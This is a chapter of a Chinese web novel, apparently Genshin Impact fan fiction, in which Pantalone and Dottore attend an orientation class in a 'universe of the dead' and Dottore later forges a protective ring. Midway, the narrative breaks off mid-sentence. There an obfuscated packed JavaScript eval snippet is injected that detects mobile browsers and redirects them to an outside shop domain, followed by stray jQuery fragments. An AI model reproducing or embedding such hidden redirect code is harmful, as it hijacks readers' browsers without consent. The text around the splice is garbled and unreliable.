下马威之后,卡洛捷丽老师的课讲得还不错。

    亡者宇宙,这里聚集了来自数不清的星球的人类灵魂,是死亡后未能获得永恒安宁的灵魂暂时停泊的奇异缝隙,自带独特的规则。

    灵魂想在这里长存,就要经历一次次被冠以周期任务之名的生死考验。

    “这里是勇敢者的乐园,如果有人能认知到自己的懦弱,我的建议是早点自我解脱。

    不过懦弱者估计也没那种勇气,最终还是要在任务世界里体验痛苦和恐惧。”

    卡洛捷丽是一位有着鲜红色长发的美丽女士,但她冷淡中带着桀骜的表情,让费奥潘想起了他曾经的同僚,愚人众第八席,女士罗莎琳。

    “这个城市,姑且这么叫着吧,很广阔,且存在不知道多久了,这里没有人记录历史。

    大大小小的组织,谁都能创办。自以为有点实力的家伙、组个小团体,随便占一块驻地、甚至没有固定驻地都可以到处招人,随便什么时候走到街上都会遇到一大群这样的团伙成员热情地向你们招手致意。”

    “所以你们是幸运的,一出新手试炼就加入了天命会,这是个大组织,整体实力排在前十。”

    “大组织有严格的规矩,第一条就是不允许恶意杀伤组织成员——”

    说到这里,她又瞥了某薄荷色头发的助教一眼,

    “除非是正当防卫——至于怎样算正当,不要以为一张嘴巴就可以颠倒黑白,我们有执法队,会侦查,也讲究证据。”

    这位卡洛捷丽也是一位性格强硬的女士,而且看起来对多托雷的感官不佳——更像他们的老同僚罗莎琳了。

    费奥潘还挺能理解她的,大多数的老师看到自己的学生杀学生应该都会有点不高兴吧。

    不过他更理解自家伙伴,听卡洛捷丽话里的意思,多托雷杀了两个同学,最后被执法队判定为正当防卫——

    那可太正义了,先惹到多托雷头上,直接死掉已经是最轻松的结局。

    博士大人没有把他们当场抓回实验室解剖,都算非常收敛、非常给天命会面子了。

    估计尸体也没能当作战利品带走,否则这位老师的情绪应该会更激动一些。

    “组织给你们提供的宿舍,前两周免费,再往后就要按周交房租。

    缺少信用点,可以接取组织内部的各种任务,包括给新人当老师,但至少要具备维护课堂纪律的实力。”

    从投资人评估潜在合作伙伴的角度看,费奥潘认为这位卡洛捷丽女士无疑是在场师生中较有潜力的一位。

    每句话都带点阴阳怪气的幽默感,而多托雷也经常如此,所以费奥潘对这类讲话习惯感到亲切。

    “组织鼓励发明创造,你们屋子里的售货机器是天命会首席巧匠的凯利维尔的成果之一,生活用品即买即到。

    如果你们原本所在的文明有较高的科技工业水平,可以去接长期挂在公告栏里的巧匠交流会任务,但凡能给巧匠先生提供一些灵感,都有丰厚奖励。

    正规大组织就是这一点好,各方面的才能都有发挥的机会。

    不像小组织只会逼你们多做任务赚原石。”

    费奥潘看到百无聊赖的赞迪克稍稍站直了一点儿,就知道他的挚友也对凯利维尔这个巧匠产生了一定兴趣……

    更有趣的是,卡洛捷丽提到那位巧匠,居然都不怎么阴阳怪气了,哈,这两人的关系……富人老爷在心里记了一笔,继续保持微笑,认真听课。

    “回到正题,你们最需要关注的,当然是任务系统——毕竟关系着每个人的生死。”

    说到这里,卡洛捷丽敲了两下讲台,似乎在提醒大家专心听重点内容,就仿佛她真是个负责任的好老师。

    “即使在场的我们,都是已经死过一次才会来到亡者宇宙,但在这里,我们还可以算是活着的——

    能吃能睡能享乐,除了不能繁衍创生,都跟活在生者宇宙里的自己区别不大,甚至还回复到了年轻时期的鼎盛状态,简直是太过幸运。”

    “不过这种幸运的代价,是永不停歇的挣扎求存、劳碌与恐惧。”

    红发的卡洛捷丽老师有一双暗金色的眼睛,锐利的目光扫视着教室里的每一个人,包括靠在门边的助教多托雷,也包括坐在最后一排姿态优雅得仿佛正在听音乐会的潘塔罗涅。

    “每个人的印记里都有倒计时,在倒计时结束前必须进入任务世界。一般来讲,就像学生不会希望提前参加考试,绝大多数人都会拖到最后一刻。

    这可以理解,但我再次建议各位,尽量勇敢一点,逃避解决不了问题,反而容易陷入被动。”

    “正式的任务世界对比你们经历过的新手试炼,就像是一个树洞和一片森林的区别——

    大多数任务世界的面积都不小,大到一个星球,小到一个城市。

    当然偶尔也会出现一些任务世界只是一个村落,或者一片遗迹,但任务的难度跟面积大小没什么关联,很多人尝试总结任务规律,但我觉得跟运气关系最大。”

    “在任务世界之中,除了亡灵怪物,有时还会有非常像活人的原住民,他们有可能帮助我们,也有可能阻碍我们。

    有一种猜测说他们是生者宇宙中部分活人的投影……

    但我反正是看不出来什么,也没听说有人研究出了这方面的奥秘。

    当然不排除某些组织高层知道一些秘密,反正你们不需要去深究。”

    卡洛捷丽一口气说到这里,挥了挥手,

    “时间到了,今天先到这儿,下节课再多讲讲做任务的注意事项。下课。”

    她干脆利落地走了,一分钟都不多停留。

    没有人参与课后答疑,多托雷乐得轻松,一转身就走了个没影。

    费奥潘也起身准备离开,可这时,一个看脸就很凶恶的黄发青年拦住了他。

    “喂,你有多少信用点?借我一些!”

    “……这位同学,难道是在抢劫吗?”费奥潘下意识摸了摸手上的戒指。

    “我只是问一句话算什么抢劫?!”

    黄发青年咧开嘴,“你刚刚没听明白老师的意思吗?助教杀了两个同学,算是正当防卫!现在你诬陷我抢劫,那我也可以正当防卫了!”

    他举起了沙包大的拳头。

    “哈,原来老师竟然是这个意思吗?”

    费奥潘一时间叹为观止,首次体会到外星人离奇的脑回路。

    是的,这些同学对于他来说都是真正的外星人。

    “快转账吧,再废话你就是我们班第一个死的!”

    “这样啊……”

    费奥潘看向黄发青年身后,笑着问:“助教老师,现在还可以请您答疑吧?”

    “什么?!”黄发青年一转头,就看见薄荷色头发的多托雷助教不知道为什么又回来了,刚进教室门。

    “现在还是答疑时间,有问题就说。”多托雷面无表情地走过来,站

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659228|207113||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    定。

    “这位同学要先提问吗?”费奥潘看向黄发青年。

    黄发青年咬牙切齿,“你问啊,你有本事一直问下去!”

    “那我还真的有挺多问题的,比如执法队在哪里办公,助教老师能否好心指指路?”费奥潘不疾不徐地说。

    多托雷那双自带压迫感的红色眼睛盯着黄发青年看了好一会儿,才转而看向费奥潘的紫色眼睛,说:“走吧,我带你去。”

    黄发青年很不服气,嘴巴张张闭闭,但终于还是在LV. ???的助教威压下离开了,但看他最后的眼神,这种闹剧估计还会有下次。

    助教和实力最差的学生共同离开教室,走进传送口,还真的先去执法队的办公场所逛了一圈,再顺便看了看组织的任务公告栏、物资仓库、宿舍管理等功能区域,才一起回家。

    费奥潘没把课后的小小插曲当回事,倒是赞迪克察觉到了自己的严重疏忽——

    他不应该走得太快,这个世界其实没有安全区,就算是他们的卧室都可能会有人闯入,何况是在教室?他自己不也曾在教室里迅速干掉了两个傻瓜吗。

    富人老爷虽然一直都是文职人员,但过去的他且不提时刻都有愚人众精锐近身保护,身上还戴着一大堆保命道具,确有需要的时候立即就能使用邪眼力量脱离战场。

    可现在的费奥潘……安全漏洞太大了,虽然刚才下课后,赞迪克看似先走、实则就在门外等待,但真要是发生一些事,赶得及、或者赶不及,都算失误。

    于是赞迪克说:“原计划作废,先处理高危漏洞。”

    “和我想的一样。”

    费奥潘笑了笑,他刚在售货机器上拟态了两杯红茶,明显没有马上出门的打算,他们的原计划是出门逛街。

    赞迪克走过来端起一杯茶,直接走向隔壁实验室。

    费奥潘跟着穿过他们在两间宿舍中间的墙上新开的门,当他来到那张属于科研人员的办公桌前坐下时,一向执行力爆表的博士大人已经开始叮叮哐哐了。

    像过去几百年的许多个平凡日子一样,银行家安安静静坐在一旁,一边喝茶,一边看他的科学家朋友在实验室里忙忙碌碌。

    一切都没太大变化,只除了费奥潘没有带着一沓北国银行的文件报表过来,悠闲的他现在可以心无旁骛地欣赏——他最欣赏的那个人。

    赞迪克在制作一枚新的戒指,他在延展性很好的银白金属细条上刻下能量符文,然后绕个圈接起来——朴实无华的手法,但在相接的那一刻,他忽然将一端扭转,接成一个莫比乌斯环。

    “效果超出预期。”

    “你还是忘不了这个模型。”

    他们俩同时出声,也同时明白了对方的意思。

    赞迪克低头笑笑,走过来将刚做好的防身指环套在费奥潘的右手无名指上——从习俗上讲,这是至冬人戴婚戒的手指。

    “你上次给我戴这个,好歹还请我去看歌剧,在一个经典的节拍里……现在就这么随意了,是觉得我反正不会拒绝?”

    “那当然。”

    赞迪克毫不迟疑,但又立即接了一句:“这不会触动你敏感的自尊吧?”

    “你的关心总是这么刺耳。”

    费奥潘无奈地笑了,“说真的,像你这样的性格,我们曾经的愚人众同僚们忍了几百年才联手打掉你,已经算非常宽和了。”

    “你居然这样想?我倒认为他们是在嫉妒最有用的同僚。”